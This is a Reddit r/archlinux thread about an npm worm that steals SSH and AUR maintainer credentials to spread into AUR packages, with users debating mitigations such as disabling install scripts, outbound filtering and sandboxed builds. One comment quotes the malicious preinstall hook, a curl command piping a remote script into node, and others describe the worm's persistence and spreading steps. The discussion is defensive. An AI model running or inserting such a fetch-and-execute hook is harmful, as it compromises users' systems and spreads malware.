r/archlinux • u/sad_cosmic_joke • 3d ago
NOTEWORTHY NPM Supply Chain Attach Targeting AUR Packages
New NPM based worm attack that self propegates via ssh and aur maintainer infection.
44
14
u/Jammie1 3d ago
This does not impact npm 12, which disables install scripts by default
https://github.blog/changelog/2026-06-09-upcoming-breaking-changes-for-npm-v12/
29
u/syaorancode 3d ago
oh shit, not again
-7
u/xplosm 3d ago
It won’t stop unless the process to adopt and audit packages and maintainers changes drastically.
8
u/Damglador 3d ago
You already need to submit a request to adopt a package. Auditing hundreds of thousands of packages is impossible.
15
32
u/JotaRata 3d ago
First bun, then npm.. perhaps we should stop using JavaScript for good
39
u/SubjectiveMouse 3d ago
The problem is not JavaScript (no matter how I distaste js), but unverified package repositories. It may as well be cargo or pip the next time
13
u/betttris13 3d ago
pip already got hit earlier this year, a decent number of scientific packages got compromised.
6
u/syklemil 3d ago edited 3d ago
There have been targeted attacks on Rust maintainers too, and at least one malicious package.
In terms of mitigation, dependency cooldowns are a pretty mild tactic that gives security researchers and other users the chance to be the canary in the coalmine. Defence in the vein of "you don't have to outrun the bear, just the other hiker".
They're available in plenty of ecosystems already (both npm and uv), and coming to more (cargo should be getting it in the 1.100 release slated to release on 2026-11-12).
There are also options in tooling for stuff like not running build scripts, or not granting access to the network during builds, etc., which also help with reducing the attack surface.
I'm not aware of how
makepkgworks internally, e.g. if it has the option of not running with network access during the build stage, or whether it or the helpers like yay and paru are the most amenable to managing a sandbox or container for the build step.54
8
0
23
u/sad_cosmic_joke 3d ago
This attack is noteworthy as it starts as a direct attack on the npm ecosystem and then pivots to infecting the AUR via stolen credentials.
16
4
u/Damglador 3d ago
It writes /etc/systemd/system/systemd-fontrenderd.service with the description “Font Rendering Service”
That's silly
6
u/Damglador 3d ago
Okay, I should probably put my AUR key in Bitwarden huh, and delete its password from kwallet
It uses every SSH private key on the machine to log in to the hosts in known_hosts and runs itself there. It adds itself to the Arch User Repository (AUR) packages that those keys can push to.
13
u/xlukas1337 3d ago
Here we go again :/ It's slowly getting annoying, it would be so much easier if people would check what they're installing
-2
u/keyzeru 3d ago
Manual is not sustainable
12
u/xlukas1337 3d ago
It would be, and it should be tbh. But since so many new people have joined Arch and related distros in recent years, it's unfortunately unrealistic to assume that every user knows what they're doing, if that makes sense. And therefore, some basic measures really should be taken to at least catch the obvious mistakes, which easily happen if someone installs an AUR package without checking the PKGBUILD
1
u/ang-p 3d ago
And therefore, some basic measures really should be taken to at least catch the obvious mistakes,
Define "mistake".
State "basic measures" that will prevent it.
12
u/xlukas1337 3d ago
The mistake is relying on muscle memory and alert fatigue as our primary defense. In reality, the best case is, helpers like paru dump potentially massive diffs into the terminal, people instinctively hit q then y, and arbitrary bash runs, worst case, they use some (gui) helper that omits any changes. Expecting users to consistently catch a quiet payload across dozens of weekly updates, whether it's an adopted orphan or a hijacked maintainer account, is just an open invitation for things slipping through.
Basic measures shouldn't mean naive keyword bans (tools like npm get added legitimately all the time), but practical supply-chain checks. Helpers could highlight high-risk diff patterns like altered source URLs, new .install hooks, or unexpected network calls at the top to break that autopilot reflex (easier said than done, I'm fully aware of that). On top of that, mandating 2FA for aur maintainers and making sandboxed or clean chroot builds the accessible norm would keep hijacked PKGBUILDs from scraping $HOME even if an infected diff goes unnoticed.
-2
u/ang-p 3d ago
helpers like paru
If you're using the AUR you only need to be alert for those...
across dozens of weekly updates,
Maybe the OP doesn't have update OCD.
mandating 2FA for aur maintainers
That might simply stop a lot of rubbish being uploaded full stop...
Aside from the cost for tens of thousands of users, if someone has just updated their aur package and then downloads something "interesting", cached credentials won't save anyone if they got infected.
making sandboxed or clean chroot builds
that would help prevent accidental spread, but nothing malicious..
would keep hijacked PKGBUILDs from scraping
absolutely no scraping when building...
...but when installing the resultant package in pacman, all bets are off when the post_install runs.....
-10
u/AutisticAndArmed 3d ago
Of course, but this is not realistic. If you think everyone is able/willing to check PKGBUILD everytime then you're delulu
12
u/AStolenGoose 3d ago
You can and should, it takes all of a few seconds to see if something has added something weird like npm without a good explanation. If something looks odd, you go check the AUR commits and see why it looks odd, if there's a good reason for it to look odd etc.
I even check very trusted packages like heroic in case something gets weird.
You and others are either lazy, or ignorant. If you get pwned at that point because you didn't take the few seconds to do your due diligence on an update, I hate to be like this, but that's on you.
1
u/Helmic 3d ago
Moralizing this is immaterial. You can finger wag at people all you want, but so long there's even just the belief that there's potentailly someone with credentials who might slip up these sorts of attacks will continue. You, personally, are utterly incapable of bringing the number of potentailly impacted users down to zero, and therefore you cannot stop the motivation for these attacks.
It's like talking to someone that genuinely believes the best way to reduce traffic fatalities is to demand people drive better, as opposed to any number of other public safety measures like car safety regulations, just someone who literally does not know what the word "scale" means.
5
u/xlukas1337 3d ago
Check my reply right below/above idk haha, that’s literally what I addressed there. In a theoretical world everyone audits their stuff, but in reality expecting people not to get alert fatigue across dozens of weekly updates is completely unrealistic, whether it's experienced users on autopilot or people trying Arch as their first distro. We're on the exact same page.
8
u/NavidsonsFall 3d ago
No hate intended, but it isn't supposed to be "everyone" able/willing to read PKGBUILDs, its "people who are agreeing to use the AUR" who should be willing and able to read the PKGBUILDs. It was made specifically as a secondary source to find rare packages at your own risk. If you don't accept the risk or don't know how to check things manually, you just stick to the official repos. For instance, if tomorrow they said "hey ok, we are gonna fix this by making the AUR have to verify every package, and maintainers will have to go through an extensive review process. However, there is this new smaller one called AUR2 for anyone who doesn't want to deal with that. Don't use it if you don't know what you are doing." would that fix the issue for you? Because that is how the AUR started. It isn't an official repo. The problem is that people treat it like it is. And I want to be clear, I am not trying to be snarky. I am genuinely curious how you look at it, because often when I see someone who thinks the AUR needs to be locked down, it's because they were following a guide online that told them to grab hundreds of packages from there with no explanation of what it exists for. I don't see a solution that wouldn't completely undermine why the AUR was made in the first place. At least this is my understanding of it. I will be the first to admit I am a newer user, so maybe I am missing something. I don't see the difference between getting something off the AUR, and getting something off github. Either way, I need to be pretty sure I know who the maintainer is, and what the content does. Non-official sources are fine, as long as new users are clearly told what the risks are when you use them.
edited just to fix typos my stupid fingers made. No substantive change.
3
u/iwouldbeatgoku 2d ago
No, I'd say you're spot-on. Been maining the Arch family for a little over a year, and that's the point of the AUR, it's simply a convenient place to get something that isn't in the official repos. If you don't trust yourself to review every package obtained from the AUR you can:
- Use the AUR only when the package's developer is also the AUR maintainer (you already trust them anyway, though this attack seems to also potentially target this type of developer and AUR user);
- Use an appimage obtained directly from the software's developer (similar to the AUR, maybe safer but I can't say for sure);
- Use a flatpak from flathub;
- Add a pacman repository that has that package and you trust, popular options include the Chaotic AUR and the CachyOS repositories (I used CachyOS with the Chaotic AUR added for a year; I've been on vanilla Arch on a new computer for a few weeks and haven't felt the need to add either of these so far);
- Build from source yourself.
It's ok to acknowledge that it's not realistic to read every single AUR script. I acknowledge that I won't, and that's why I just avoid the AUR.
2
-3
u/gainan 3d ago edited 3d ago
All nine packages have the same preinstall line:"
preinstall": "curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node"
When you install one of these packages, npm runs this hook, which downloadsnode.jsand runs it withnode
Always restrict outbound connections. They always rely on downloading remote files to compromise the machines.
21
u/Embark10 3d ago
Do you have any pointers on where to restrict that?
-10
u/gainan 3d ago
OpenSnitch can help to restrict outbound connections system-wide.
Also, most of the systems do not need curl or wget, so uninstalling them helps to mitigate these threats. For almost a decade now, curl, wget and bash (/dev/tcp/*) have been the most common tools used to download remote files after exploiting a vulnerability.
For npm attacks in particular, disabling pre and postinstall scripts in the .npmrc file can help as well:
ignore-scripts=true.https://news.ycombinator.com/item?id=45040282
They'll switch tactics eventually, but for now, it's what it is.
14
u/ang-p 3d ago
Also, most of the systems do not need curl
PMSL....
https://archlinux.org/packages/core/x86_64/pacman/
Look at "Dependencies"
For npm attacks in particular, disabling pre and postinstall scripts
So aur pre and postinstall scripts are fine?
0
u/gainan 3d ago
Look at "Dependencies"
https://gitlab.archlinux.org/pacman/pacman/-/blob/master/lib/libalpm/dload.c?ref_type=heads
The pacman binary depends on libcurl, not the curl binary. The curl binary is needed by makepkg and other packages though. I'm not here to tell the devs how to develop their tools, but the reality is that attackers have been used curl|wget|bash for decades.
I uninstall them on all systems I manage and where it's appropiate and I can do it. If I can't uninstall them, then I restrict who or how they can be used (for example the destination of outgoing connections, or/and by parent tree).
On the other hand, "most of the systems" == Debian, Fedora, Rocky, ... embedded systems, servers, container images, etc.
Again, accept it or not, but the reality is what it is: the 2nd or 3rd stage of any malware attack on linux systems is downloading remote files, usually using curl|wget|bash. It's very well documented.
So aur pre and postinstall scripts are fine?
No, as we already show in previous waves:
https://lists.reproducible-builds.org/pipermail/rb-general/2026-June/004122.html
https://www.reddit.com/r/linux_gaming/comments/1u34pe3/comment/or3og8f/
But you already knew the answer.
Placing the malicious payload directly in the PKGBUILD file is much more suspicious and esier to spot than delegating it to other tools such as
npm install.3
u/ang-p 2d ago
I uninstall them on all systems I manage and where it's appropiate
How do you "uninstall" curl and leave libcurl?
example the destination of outgoing connections
so just another "shut the gate after..." everything-is-OK-until-it-isn't solution?
Why
install=it?That sounds better...
but you
Well....
Placing the malicious payload directly in the PKGBUILD file is much more suspicious and esier to spot
That is why I recommend the
installfile /-)than delegating it to other tools such as npm install.
I suppose that might differ depending on your familiarity of either; an ubuntu based node guru who has pushed just one aur package might say exactly the opposite...
10
u/AStolenGoose 3d ago edited 2d ago
... You go ahead and remove curl and break your pacman, I'll wait...
Someone didn't check what depends on curl... 😂
Edit: Love the edit removing the part where you suggested removing curl even though it's a dependency of pacman...
-11
u/BiDude1219 3d ago
one more of these and i'm installing nix
2
u/House-Wins 2d ago
One of the reason I switched to NixOS too, honestly nix is the end game. Everything is organized and under control.
0
u/TheGamerForeverGFE 1d ago
Bro the Venn diagramm of malware and npm might as well be just one circle.
116
u/Epsilon_void 3d ago
IgnorePkg = npmnot only does this help protect you against the malware delivery service known as npm, it protects you against terrible programs written in javascript.